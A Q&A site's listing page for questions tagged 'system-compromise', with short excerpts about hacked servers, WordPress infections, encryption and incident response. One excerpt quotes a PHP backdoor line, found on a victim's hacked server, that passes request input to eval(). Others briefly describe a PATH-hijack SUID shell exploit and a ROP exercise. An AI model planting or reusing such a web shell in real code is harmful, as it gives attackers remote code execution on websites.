Questions tagged [system-compromise]

Dealing with a system compromise: your defenses failed, now what?

Filter by
Sorted by
Tagged with
3
votes
1answer
215 views

Decrypting possibly compromised Veracrypt hard drive

I have a Veracrypt encrypted hard drive, a system drive encryption with the operating system. The laptop is possibly compromised, which is why I can't decrypt it directly on the laptop I don't know ...
0
votes
2answers
98 views

Differences between compromised shared hosting and dedicated/virtual hosting

My webspace has been compromised as explained on this answered question. While looking for advice on other q&a it seems to me in the answers it is assumed the compromised system is a full ...
2
votes
2answers
110 views

Compromise of a Public JS Library

I was listening to a podcast about cybersecurity, and I heard that a public JavaScript library was compromised by attackers who injected a credit card scraper into the library, and then every site ...
0
votes
0answers
30 views

Wordpress m4shell Hack [duplicate]

I could not find any similar error after searching the web and struggling with the problem for around two weeks. One of the Wordpress sites I'm managing keeps getting hacked. There has been no ...
1
vote
0answers
77 views

Help in understnading HIDS OSSEC traces

I realized my system Ubuntu and windows dual boot might have been compromised. So, I installed OSSEC HIDS to try to look for issues. When I ran dmesg, i found the following trace: ------------[ cut ...
0
votes
0answers
118 views

Logged in with a hacker's email address

I have an active account at ebay-kleinanzeigen.de (like Craigslist in the US). Today I got a valid email from them that my email address was changed. On my mac, I opened up my ebay-kleinanzeigen ...
0
votes
0answers
83 views

What authentication systems have been involved in data breaches?

Recently, a Federal Judge ordered Marriott to reveal the forensics report for its data breach. I know the Courts have sided with businesses in the past to keep the forensic details of breaches from ...
0
votes
0answers
72 views

What should I do next on my GPG key after my computer is seized by authority?

Unfortunately, although my keys are protected by password, I am afraid it is not strong enough. I assume I lost control of all my private keys now. I still have backup of my private keys, what I want ...
165
votes
6answers
24k views

How do I deal with a compromised server?

I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism: What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", are ...
8
votes
6answers
580 views

I am a political activist, its likely that my computer will be compromised in the future, how can I secure my data?

I have sensitive data to secure. My computer may likely be compromised physically in the future. How can I secure my date from various attacks like Evil Maid attacks and so forth. I have some basic ...
-2
votes
1answer
11k views

How can I check if someone tampered with the CCTV footage or system?

Recently I was staying in a hotel and I had some very important belongings stolen there in the hotel which is definite. The problem is that no one entered my room after I left the room (2 times for ...
12
votes
3answers
3k views

Would encrypting a database protect against a compromised admin account?

I was discussing with someone ways to prevent data disclosure from a compromised admin account on a database server. The other person proposed encrypting the data at rest within the database. It ...
-1
votes
1answer
331 views

Received ransom email containing my password. How did they get my password?

Finally, even I got the fabled ransomware emails we've all heard about so much. First, let's look at the facts before I get to my question: I use Mozilla Thunderbird as my email client. I was ...
0
votes
0answers
57 views

Phoenix/Samsung BIOS/HDD security

I have a laptop bought in 2011. I want to protect its BIOS and HDD (data is already encrypted anyway). But I have seen these vulnerabilities: After 3 incorrect tries, I see "System Disabled" with ...
2
votes
1answer
273 views

Server protection measures from authorities

I am on a project which is illegal in my nation but is not illegal anywhere in the world. In order not to get a 100yr sentence I should be prepared for seizures and forensics. I am running a server ...
0
votes
2answers
324 views

How to verify a private key has not been compromised?

I have a machine with a process that signs code for users running 24/7 (encrypting the key is not possible), which will be protected as well as possible. Is there a way to set things up such that I ...
1
vote
1answer
79 views

Can using simultaneous intrusion detection systems (IDS) create conflicts?

Can simultaneously using 2 or more intrusion detection systems (IDS) on the same computer or network create conflicts ? Talking about tools (as examples) such as but not limited to: tripwire, bro, ...
9
votes
2answers
5k views

How did hackers compromise my EC2 instance?

My EC2 instance was hacked recently. It doesn't really matter as I'm just starting my website and there was no sensitive information on my server yet, but I do plan for there to be in the future. I am ...
16
votes
5answers
7k views

KeePass security local malware

Can a malware that infected your local computer compromise a KeePass database stored locally in any way? If yes, what's the point for KeePass to have such strong security mechanisms if it cannot ...
10
votes
1answer
4k views

How do I deal with a compromised network device?

I suspect that a network device (modem, router. switch, access point, etc) is compromised. What should I do?
0
votes
1answer
92 views

What are the security implications if systemd is not restarted after it has been updated?

My understanding is that systemd is the parent process for all other processes running on Linux. If systemd has been updated on production devices such as servers and the service is not restarted, ...
0
votes
0answers
47 views

IBM warns to move data out of insecure encryption schemes, but where to? [duplicate]

I'm currently using GnuPG (RSA 4096), Encryption-based DLP, SSL, SSL-VPN, Password Manager and other apps considered insecure by the IBM research team, who favor Lattice encryption over the standard ...
0
votes
2answers
185 views

Best Source of Security Configuration Guidance

Over the years I have used a number of different sources of security configuration guidance for a spectrum of systems including for example: https://www.cisecurity.org/cis-benchmarks/ https://www....
-1
votes
2answers
145 views

Is it a good idea to have a new laptop just to generate 2FA keys?

I am very concerned about people putting keyloggers or trojans on my computer. That can happen because I use my computers for many things. Work. Playing games. Watching movies. Accessing many ...
5
votes
1answer
427 views

How was IronChat compromised?

How was IronChat compromised? https://hotforsecurity.bitdefender.com/blog/police-crack-encrypted-chat-service-ironchat-and-read-258000-messages-from-suspected-criminals-20530.html Dutch police ...
1
vote
1answer
2k views

Afraid about SSH on my Linux system

I've checked my Linux server (Centos 6) with rkhunter. I found the following in rkhunter log [14:38:54] Checking if SSH protocol v1 is allowed [ Warning ] [14:38:54] Warning: The SSH ...
169
votes
10answers
41k views

Should I be concerned if the “FBI” has logged onto my Ubuntu VPS?

Yesterday, I was performing a bit of general maintenance on a VPS of mine, using the IPMI console my host provided. Upon setting up SSH keys again via the IPMI console, I logged in via SSH and was ...
-1
votes
1answer
82 views

Are kernel mode drivers harder to compromise? [closed]

Of course the effects of a compromised kernel mode driver are more disastrous, but are they harder to compromise in the first place?
2
votes
1answer
485 views

SSH Outbound. Tracking down the process

I was pulled up by my ISP in work for having a machine making dozens of outbound SSH connections. I tracked down the machine and took it off the network. Problem is there are several other machines ...
-3
votes
5answers
28k views

Google Calendar has events that I didn't create and it's not shared

This has been rewritten because at first I thought this may be an accident but now it’s clear there’s a security compromise. In my Google Calendar I noticed an event that occurred each day from 11am-...
68
votes
7answers
23k views

Is it possible the person sitting across from me at Starbucks was trying to hack my laptop?

I was using my laptop at a Starbucks on a table, and a person was using a laptop on the same table across from me, a couple seats to my side. He flicked some plastic thing across the table towards my ...
2
votes
1answer
176 views

Port Knock logs suggest machine has been compromised?

On my CentOS machine, all my ports are filtered with the Iptables rule: DROP all -- * * 0.0.0.0/0 0.0.0.0/0 So from the Internet, every port timeouts. The only way to ...
1
vote
0answers
112 views

Firefox directs me to strange chinese error page, is my security compromised?

Today I was working on a project on my localhost ( I'm a web developer ), when I noticed Firefox is showing a message that means I need to login to my ISP before I can start browsing ( The ...
1
vote
1answer
353 views

ROP Attack :Force the program to manipulate an instruction as a gadget

I'm doing basic exploitation test on a simple program with fiew lines of code. I intend to exploit a buffer overflow vulnerability to perform a ROP attack. To gather the available gadgets I use ...
4
votes
2answers
2k views

For remotely unlocking LUKS volumes via SSH, how can I verify integrity before sending passphrase?

Although this is closely related to the recently closed question Evil maids in the server room [closed], I believe that it's more answerable. I'd like to unlock LUKS volumes on remotely hosted ...
1
vote
1answer
230 views

SUID exploit and patch

I am working on a SUID root binary "app" that runs a system("ls -la /dir") command. I managed to exploit it by writing a malicious replacement ls that starts a shell, and changed my user's $PATH such ...
73
votes
8answers
18k views

How can Twitter and GitHub be sure that they haven't been hacked?

Yesterday, Twitter anounced that they recently identified a bug that stored passwords unmasked in an internal log. Recently, Github also had a similar bug. In both cases, they claim that nobody had ...
3
votes
1answer
236 views

Why would an attacker authenticate to my Google Search Console?

Someone uploaded (I don't know how how but I think via my Wordpress which was outdated for just a day...) a Google Search Console authentication to my server. I just realized this because Google ...
4
votes
1answer
126 views

Being directed to hacked site only when searched through Yahoo

A local wolf sanctuary had just posted a warning on Facebook to not visit their site because it had been hacked. However, it only sends you to the hacked site when searching through Yahoo. I was ...
1
vote
0answers
101 views

How to forbid hackers on a Joomla website? [closed]

My Joomla website was the victim of a hacker attack recently. Hackers had access to my server and added some PHP files and mostly modified some index.php files. THe code is unfortunately ...
3
votes
1answer
170 views

My local machine was infected with malware from a clients web server

I have a client that I developed a new site for, it's not live yet because he wanted me to backup the old site first. This was a completely custom "directory" type site and the company that built it (...
2
votes
2answers
304 views

How to address application database compromise

I recently came across a scenario in an assessment regarding IT security. I am new to this area and my knowledge is limited so I'm not sure if my answer to the scenario is suitable or not. Will really ...
3
votes
1answer
178 views

A bot edited all pages on my Wordpress installation

I manage a Wordpress site for an event registration. The site is only active for a few months a year. The rest of the year it's idle, as in it's up, but not actively maintained. Now the time has come ...
0
votes
1answer
374 views

PHP Backdoor on live server [duplicate]

Suddenly one of our Wordpress websites started sending spam emails and it was blacklisted on MXToolBox. So with the server support I scaned the files and found a strange file called timer.php ...
0
votes
1answer
135 views

How exactly can a public server be compromised? [closed]

I'm in the process of setting up a network and it needs a site for users to be accessible on the internet. I keep reading about not having a public server on a local network, domain etc etc. And that ...
2
votes
2answers
3k views

Weird URL showed when telnet to my server [closed]

I don't know how to ask this because this is something new for me, I try telnet to my server and the output was like this: Trying <IP>... Connected to www.tjto6u0e.site. Escape character is '^]'...
2
votes
3answers
857 views

Improve RDP security: router with VPN or IP whitelist on firewall

I am considering to improve the security setting on our workstation shared within the university lab. We are sharing the workstation among lab members with RDP and got compromised recently. I highly ...
1
vote
2answers
897 views

I'm using SSH with key based authentication and I believe my server has been hacked

Today, I saw my server is heavily loaded. When I began digging I saw that someone logged in as root (despite root user not having a password), installed miner, and ran screen. SSH listening on other ...
0
votes
3answers
465 views

How can I determine from where injected script came from?

I have a server that currently has been hacked. Files are being created on my server which has content of this type: if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/} Or ...
2
votes
3answers
155 views

How to reset account passwords after falling victim to password reuse?

I recently had one of my accounts compromised after falling victim to an online phishing scam. To make matters worse, while I've used unique passwords for any account created in the past few years, my ...